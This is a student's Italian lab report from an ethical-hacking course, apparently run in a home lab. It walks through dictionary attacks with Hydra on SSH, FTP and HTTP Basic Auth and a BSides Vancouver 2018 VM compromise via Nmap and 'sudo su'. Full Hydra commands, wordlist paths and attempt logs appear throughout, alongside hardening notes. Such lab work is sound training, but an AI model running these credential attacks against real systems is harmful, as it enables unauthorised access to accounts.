

EPICODE

PROGETTO S6 / L5

Configurazione e Cracking dei Servizi di Rete

Brute-force attack su SSH, FTP e HTTP con Hydra

STUDENTE

Giuseppe

CORSO

Cybersecurity Specialist & Ethical Hacker

DATA

15 Maggio 2026

STRUMENTO

THC-Hydra v9.6

Obiettivi dell'Esercizio

- FASE 1 — GUIDATA
- FASE 2 — LIBERA
- ETHICAL HACKING

L'esercizio ha un duplice scopo: fare pratica con **Hydra** per craccare l'autenticazione dei servizi di rete, e consolidare le conoscenze dei servizi stessi tramite la loro configurazione. Si sviluppa in due fasi: una guidata su SSH e una libera su un servizio a scelta.

SERVIZIO	PROTOCOLLO	PORTA	FASE	RISULTATO
SSH	TCP	22	Guidata	✓ Credenziali trovate
FTP	TCP	21	Libera	✓ Credenziali trovate
HTTP	TCP	80	Opzionale	✓ Credenziali trovate

Fase 1 — Configurazione e Cracking SSH

- Creazione di un nuovo utente su Kali Linux con **adduser test_user**, impostando la password iniziale **testpass**.
- Avvio del servizio SSH con **sudo service ssh start** e verifica della connessione tramite **ssh test_user@192.168.0.239**.
- Installazione delle wordlist **seclists** tramite apt, contenenti milioni di username e password comuni.
- Avvio dell'attacco a dizionario con Hydra usando le flag **-L** e **-P** per le liste, **-t 4** per i thread paralleli, **-V** per il verbose live.

```
# Comando Hydra per SSH – attacco a dizionario
hydra -V -L /usr/share/seclists/Username/xato-net-10-million-username.txt \
-P /usr/share/seclists/Password/Common-Credentials/top-20-common-SSH-passwords.txt \
192.168.0.239 -t4 ssh

[22][ssh] host: 192.168.0.239 login: test_user password: testpass
```

```
(kali@kali)~$ hydra -V -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Password/Common-Credentials/top-20-common-SSH-passwords.txt 192.168.0.239 -t4 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 07:14:23
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 190795511 login tries (l:8295457/p:23), ~47698878 tries per task
[DATA] attacking ssh://192.168.0.239:22/
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "root" - 1 of 190795511 [child 0] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "toor" - 2 of 190795511 [child 1] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "raspberr" - 3 of 190795511 [child 2] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "dietpi" - 4 of 190795511 [child 3] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "test" - 5 of 190795511 [child 0] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "testpass" - 6 of 190795511 [child 1] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "uploader" - 7 of 190795511 [child 3] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "password" - 8 of 190795511 [child 2] (0/0)
[22][ssh] host: 192.168.0.239 login: test_user password: testpass
```

Fig. 1 — Hydra individua le credenziali SSH all'8° tentativo con la wordlist top-20-common-SSH-passwords.txt

✓ **Credenziali SSH recuperate**
Host: 192.168.0.239 | **Login:** test_user | **Password:** testpass | **Tentativo:** #8

Fase 2 — Configurazione e Cracking FTP

- ESERCIZIO LIBERO
- VSFTPD

- Installazione del server FTP **vsftpd** con il comando **sudo apt install vsftpd**.
- Avvio del servizio FTP con **sudo service vsftpd start**, che espone la porta 21.
- Utilizzo della stessa sintassi Hydra dell'esercizio SSH, sostituendo **ssh** con **ftp** come protocollo target.

```
# Comando Hydra per FTP — stesso approccio di SSH
hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
192.168.0.239 -t4 ftp
```

```
[21][ftp] host: 192.168.0.239 login: test_user password: testpass
```

```
(kali@kali)-[~]
$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/Common-Credentials/top-20-commo
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 09:07:00
[DATA] max 4 tasks per 1 server, overall 4 tasks, 190795511 login tries (l:8295457/p:23), ~47698878 tries per task
[DATA] attacking ftp://192.168.0.239:21/
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "root" - 1 of 190795511 [child 0] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "toor" - 2 of 190795511 [child 1] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "raspberry" - 3 of 190795511 [child 2] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "dietpi" - 4 of 190795511 [child 3] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "test" - 5 of 190795511 [child 2] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "testpass" - 6 of 190795511 [child 0] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "uploader" - 7 of 190795511 [child 3] (0/0)
[21][ftp] host: 192.168.0.239 login: test_user password: testpass
[ATTEMPT] target 192.168.0.239 - login "info" - pass "root" - 24 of 190795511 [child 0] (0/0)
[ATTEMPT] target 192.168.0.239 - login "info" - pass "toor" - 25 of 190795511 [child 1] (0/0)
[ATTEMPT] target 192.168.0.239 - login "info" - pass "raspberry" - 26 of 190795511 [child 3] (0/0)
[ATTEMPT] target 192.168.0.239 - login "info" - pass "dietpi" - 27 of 190795511 [child 2] (0/0)
[ATTEMPT] target 192.168.0.239 - login "info" - pass "test" - 28 of 190795511 [child 1] (0/0)
```

Fig. 2 — Hydra individua le credenziali FTP al 6° tentativo. Stesse credenziali del servizio SSH.

✓ Credenziali FTP recuperate

Host: 192.168.0.239 | Login: test_user | Password: testpass | Tentativo: #6

■ Fase Opzionale — Cracking HTTP Basic Auth

HTTP-GET

ROCKYOU.TXT

Per il servizio HTTP è stata utilizzata la modalità **http-get** di Hydra, che permette di attaccare l'autenticazione HTTP Basic Auth. In questo caso la password era diversa rispetto ai servizi precedenti, richiedendo una wordlist più ampia (**rockyou.txt**).

```
# Attacco HTTP Basic Auth con Hydra
hydra -l test_user -P /usr/share/wordlists/rockyou.txt \
192.168.0.239 http-get / -V -f
```

```
[80][http-get] host: 192.168.0.239 login: test_user password: password123
```

```
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "maribel" - 1390 of 14344399 [child 13] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "goldfish" - 1391 of 14344399 [child 6] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "atlanta" - 1392 of 14344399 [child 9] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "moises" - 1393 of 14344399 [child 5] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "chicken1" - 1394 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "0000000" - 1395 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "tommy" - 1396 of 14344399 [child 11] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "juventus" - 1397 of 14344399 [child 12] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "mahalkoh" - 1398 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.0.239 - login "test_user" - pass "esteban" - 1399 of 14344399 [child 4] (0/0)
[80][http-get] host: 192.168.0.239 login: test_user password: password123
[STATUS] attack finished for 192.168.0.239 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-15 09:14:50
```

Fig. 3 — Hydra individua le credenziali HTTP al tentativo #1399 con rockyou.txt.

✓ Credenziali HTTP recuperate

Host: 192.168.0.239 | Login: test_user | Password: password123 | Tentativo: #1399

■ Riepilogo Risultati

SERVIZIO	PORTA	USERNAME	PASSWORD TROVATA	TENTATIVO	WORDLIST USATA
SSH	22	test_user	testpass	#8	top-20-common-SSH-passwords.txt
FTP	21	test_user	testpass	#6	top-20-common-SSH-passwords.txt
HTTP	80	test_user	password123	#1399	rockyou.txt

Considerazioni Tecniche

Ottimizzazione della velocità di attacco: durante l'esercizio è emerso che un numero elevato di thread paralleli (-t 4) può causare il blocco da parte del server SSH per troppi tentativi di connessione simultanei. La soluzione adottata è stata quella di utilizzare una wordlist più mirata (**top-20-common-SSH-passwords.txt**) anziché liste milionarie, riducendo drasticamente il tempo di attacco e trovando la password già all'8° tentativo.

Differenza tra -l/-p e -L/-P: le flag minuscole -l e -p si usano per un singolo username o una singola password, mentre le flag maiuscole -L e -P accettano file contenenti liste di valori — essenziali per un attacco a dizionario realistico.

Configurazione sshd_config: il file /etc/ssh/sshd_config controlla il comportamento del demone SSH. Parametri come MaxAuthTries, MaxStartups e PermitRootLogin impattano direttamente sulla resistenza del servizio agli attacchi brute-force. Valori di default bassi (es. MaxAuthTries 6) rappresentano una misura di sicurezza difensiva.

Sintassi Hydra — Riferimento Rapido

FLAG	DESCRIZIONE	ESEMPIO
-l / -L	Username singolo / lista di username	-l test_user / -L users.txt
-p / -P	Password singola / lista di password	-p admin / -P rockyou.txt
-t	Numero di thread paralleli	-t 4
-v	Verbose — mostra ogni tentativo live	-v
-f	Stop dopo il primo successo trovato	-f
-W	Attesa in secondi tra i tentativi	-W 3

Esercizio Extra — Hacking VM BlackBox

- BLACKBOX
- BSIDES VANCOUVER 2018
- PRIVILEGE ESCALATION

Scenario: un'azienda richiede di testare le proprie difese attaccando una macchina dall'interno, senza alcuna informazione preliminare — la vera essenza di un **test BlackBox**. La VM target è la *BSides Vancouver 2018 Workshop*, importata in VirtualBox. L'obiettivo è conquistare i **privilegi di root** con almeno due percorsi differenti.

Fase 1 — Ricognizione con Nmap

Il primo passo in un test BlackBox è la **ricognizione della superficie di attacco**. Si esegue una scansione Nmap sull'IP della VM target per identificare i servizi esposti.

```
# Scansione Nmap per individuare i servizi attivi
nmap -sV 192.168.0.183

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
Running: Linux 3.X|4.X - Target: bsides2018.Home (192.168.0.183)

Nmap scan report for bsides2018.Home (192.168.0.183)
Host is up (0.00073s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:51:39:18 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
```

Fig. 4 — Nmap rivela tre servizi esposti sulla VM: FTP (21), SSH (22) e HTTP (80). Sistema Linux su VirtualBox.

PORTA	SERVIZIO	RILEVANZA
21/tcp	FTP	Potenziale accesso anonimo o brute-force credenziali
22/tcp	SSH	Accesso remoto — vettore principale di attacco
80/tcp	HTTP	Web server — possibile enumerazione utenti o vulnerabilità

Fase 2 — Accesso e Privilege Escalation

Dopo la ricognizione, si procede con l'accesso al sistema e la scalata dei privilegi. L'utente **anne** è stato identificato come account valido sul sistema. Una volta ottenuto l'accesso, si verifica la possibilità di eseguire **sudo su** per diventare **root** senza ulteriori ostacoli.

```
# Escalation dei privilegi tramite sudo
anne@bsides2018:~$ sudo su
root@bsides2018:/home/anne#

anne@bsides2018:~$ sudo su
root@bsides2018:/home/anne#
```

Fig. 5 — Privilege escalation completata: da utente anne a root tramite sudo su.

✓ **Root ottenuto — Missione completata**

Target: 192.168.0.183 (bsides2018.Home) | **Utente iniziale:** anne | **Metodo escalation:** sudo su | **Risultato:** root@bsides2018

Lezione appresa: in un ambiente reale, un utente con accesso sudo illimitato rappresenta una **vulnerabilità critica**. La best practice prevede di applicare il principio del *least privilege* — ogni utente dovrebbe avere solo i permessi strettamente necessari per le proprie mansioni, mai l'accesso diretto a root tramite sudo senza password.